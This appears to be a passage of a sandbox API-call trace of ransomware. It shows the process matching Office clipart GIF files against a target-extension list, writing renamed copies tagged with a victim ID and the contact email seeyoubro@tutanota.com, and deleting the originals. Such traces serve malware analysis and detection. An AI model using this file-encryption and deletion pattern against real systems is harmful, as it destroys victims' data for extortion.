[0206.218] lstrlenW (lpString=".ppt") returned 4 [0206.218] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.218] lstrlenW (lpString=".zip") returned 4 [0206.218] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.218] lstrlenW (lpString=".rar") returned 4 [0206.218] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.218] lstrlenW (lpString=".bz2") returned 4 [0206.218] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.218] lstrlenW (lpString=".7z") returned 3 [0206.218] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.218] lstrlenW (lpString=".dbf") returned 4 [0206.218] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.218] lstrlenW (lpString=".1cd") returned 4 [0206.218] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0206.219] lstrlenW (lpString=".jpg") returned 4 [0206.219] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.219] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.219] lstrlenW (lpString="AG00090_.GIF") returned 12 [0206.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.228] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=517) returned 1 [0206.228] CloseHandle (hObject=0x33c) returned 1 [0206.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0206.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.228] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.229] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.231] GetLastError () returned 0x0 [0206.231] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x205, lpOverlapped=0x0) returned 1 [0206.232] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x210, lpOverlapped=0x0) returned 1 [0206.232] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.233] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.233] SetEndOfFile (hFile=0x2f0) returned 1 [0206.238] CloseHandle (hObject=0x2f0) returned 1 [0206.240] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.240] SetEndOfFile (hFile=0x33c) returned 1 [0206.260] CloseHandle (hObject=0x33c) returned 1 [0206.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0206.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.261] lstrlenW (lpString=".doc") returned 4 [0206.261] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.261] lstrlenW (lpString=".docx") returned 5 [0206.261] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.261] lstrlenW (lpString=".pdf") returned 4 [0206.261] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.261] lstrlenW (lpString=".xls") returned 4 [0206.261] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.262] lstrlenW (lpString=".xlsx") returned 5 [0206.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.262] lstrlenW (lpString=".ppt") returned 4 [0206.262] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.262] lstrlenW (lpString=".zip") returned 4 [0206.262] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.262] lstrlenW (lpString=".rar") returned 4 [0206.262] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.262] lstrlenW (lpString=".bz2") returned 4 [0206.262] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.262] lstrlenW (lpString=".7z") returned 3 [0206.262] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.262] lstrlenW (lpString=".dbf") returned 4 [0206.262] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.262] lstrlenW (lpString=".1cd") returned 4 [0206.262] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.262] lstrlenW (lpString=".jpg") returned 4 [0206.262] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.262] lstrlenW (lpString=".doc") returned 4 [0206.262] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.262] lstrlenW (lpString=".docx") returned 5 [0206.262] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.262] lstrlenW (lpString=".pdf") returned 4 [0206.262] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.262] lstrlenW (lpString=".xls") returned 4 [0206.263] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.263] lstrlenW (lpString=".xlsx") returned 5 [0206.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.263] lstrlenW (lpString=".ppt") returned 4 [0206.263] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.263] lstrlenW (lpString=".zip") returned 4 [0206.263] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.263] lstrlenW (lpString=".rar") returned 4 [0206.263] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.263] lstrlenW (lpString=".bz2") returned 4 [0206.263] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.263] lstrlenW (lpString=".7z") returned 3 [0206.263] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.263] lstrlenW (lpString=".dbf") returned 4 [0206.263] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.263] lstrlenW (lpString=".1cd") returned 4 [0206.263] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0206.263] lstrlenW (lpString=".jpg") returned 4 [0206.263] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.263] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.263] lstrlenW (lpString="AG00126_.GIF") returned 12 [0206.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.264] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=3140) returned 1 [0206.264] CloseHandle (hObject=0x31c) returned 1 [0206.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0206.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.266] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.266] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.268] GetLastError () returned 0x0 [0206.268] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xc44, lpOverlapped=0x0) returned 1 [0206.293] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xc50, lpOverlapped=0x0) returned 1 [0206.294] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.294] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.294] SetEndOfFile (hFile=0x330) returned 1 [0206.297] CloseHandle (hObject=0x330) returned 1 [0206.298] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.298] SetEndOfFile (hFile=0x2d8) returned 1 [0206.300] CloseHandle (hObject=0x2d8) returned 1 [0206.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString=".doc") returned 4 [0206.301] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.301] lstrlenW (lpString=".docx") returned 5 [0206.301] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.301] lstrlenW (lpString=".pdf") returned 4 [0206.301] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.301] lstrlenW (lpString=".xls") returned 4 [0206.301] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.301] lstrlenW (lpString=".xlsx") returned 5 [0206.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.301] lstrlenW (lpString=".ppt") returned 4 [0206.301] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString=".zip") returned 4 [0206.301] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.301] lstrlenW (lpString=".rar") returned 4 [0206.301] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.301] lstrlenW (lpString=".bz2") returned 4 [0206.301] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.301] lstrlenW (lpString=".7z") returned 3 [0206.301] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString=".dbf") returned 4 [0206.301] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString=".1cd") returned 4 [0206.301] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString=".jpg") returned 4 [0206.301] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.301] lstrlenW (lpString=".doc") returned 4 [0206.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.302] lstrlenW (lpString=".docx") returned 5 [0206.302] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.302] lstrlenW (lpString=".pdf") returned 4 [0206.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.302] lstrlenW (lpString=".xls") returned 4 [0206.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.302] lstrlenW (lpString=".xlsx") returned 5 [0206.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.302] lstrlenW (lpString=".ppt") returned 4 [0206.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.302] lstrlenW (lpString=".zip") returned 4 [0206.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.302] lstrlenW (lpString=".rar") returned 4 [0206.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.302] lstrlenW (lpString=".bz2") returned 4 [0206.302] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.302] lstrlenW (lpString=".7z") returned 3 [0206.302] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.302] lstrlenW (lpString=".dbf") returned 4 [0206.302] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.303] lstrlenW (lpString=".1cd") returned 4 [0206.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0206.303] lstrlenW (lpString=".jpg") returned 4 [0206.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.303] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.303] lstrlenW (lpString="AG00139_.GIF") returned 12 [0206.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.303] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=10607) returned 1 [0206.303] CloseHandle (hObject=0x2f0) returned 1 [0206.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0206.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.304] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.304] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.304] GetLastError () returned 0x0 [0206.304] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x296f, lpOverlapped=0x0) returned 1 [0206.330] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2970, lpOverlapped=0x0) returned 1 [0206.331] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.331] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.331] SetEndOfFile (hFile=0x364) returned 1 [0206.331] CloseHandle (hObject=0x364) returned 1 [0206.332] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.332] SetEndOfFile (hFile=0x2f0) returned 1 [0206.332] CloseHandle (hObject=0x2f0) returned 1 [0206.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0206.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.355] lstrlenW (lpString=".doc") returned 4 [0206.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.355] lstrlenW (lpString=".docx") returned 5 [0206.355] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.355] lstrlenW (lpString=".pdf") returned 4 [0206.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.355] lstrlenW (lpString=".xls") returned 4 [0206.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.355] lstrlenW (lpString=".xlsx") returned 5 [0206.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.355] lstrlenW (lpString=".ppt") returned 4 [0206.355] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.355] lstrlenW (lpString=".zip") returned 4 [0206.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.356] lstrlenW (lpString=".rar") returned 4 [0206.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.356] lstrlenW (lpString=".bz2") returned 4 [0206.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.356] lstrlenW (lpString=".7z") returned 3 [0206.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.356] lstrlenW (lpString=".dbf") returned 4 [0206.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.356] lstrlenW (lpString=".1cd") returned 4 [0206.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.356] lstrlenW (lpString=".jpg") returned 4 [0206.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.356] lstrlenW (lpString=".doc") returned 4 [0206.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.356] lstrlenW (lpString=".docx") returned 5 [0206.356] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.356] lstrlenW (lpString=".pdf") returned 4 [0206.356] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.356] lstrlenW (lpString=".xls") returned 4 [0206.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.356] lstrlenW (lpString=".xlsx") returned 5 [0206.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.356] lstrlenW (lpString=".ppt") returned 4 [0206.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0206.356] lstrlenW (lpString=".zip") returned 4 [0206.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.356] lstrlenW 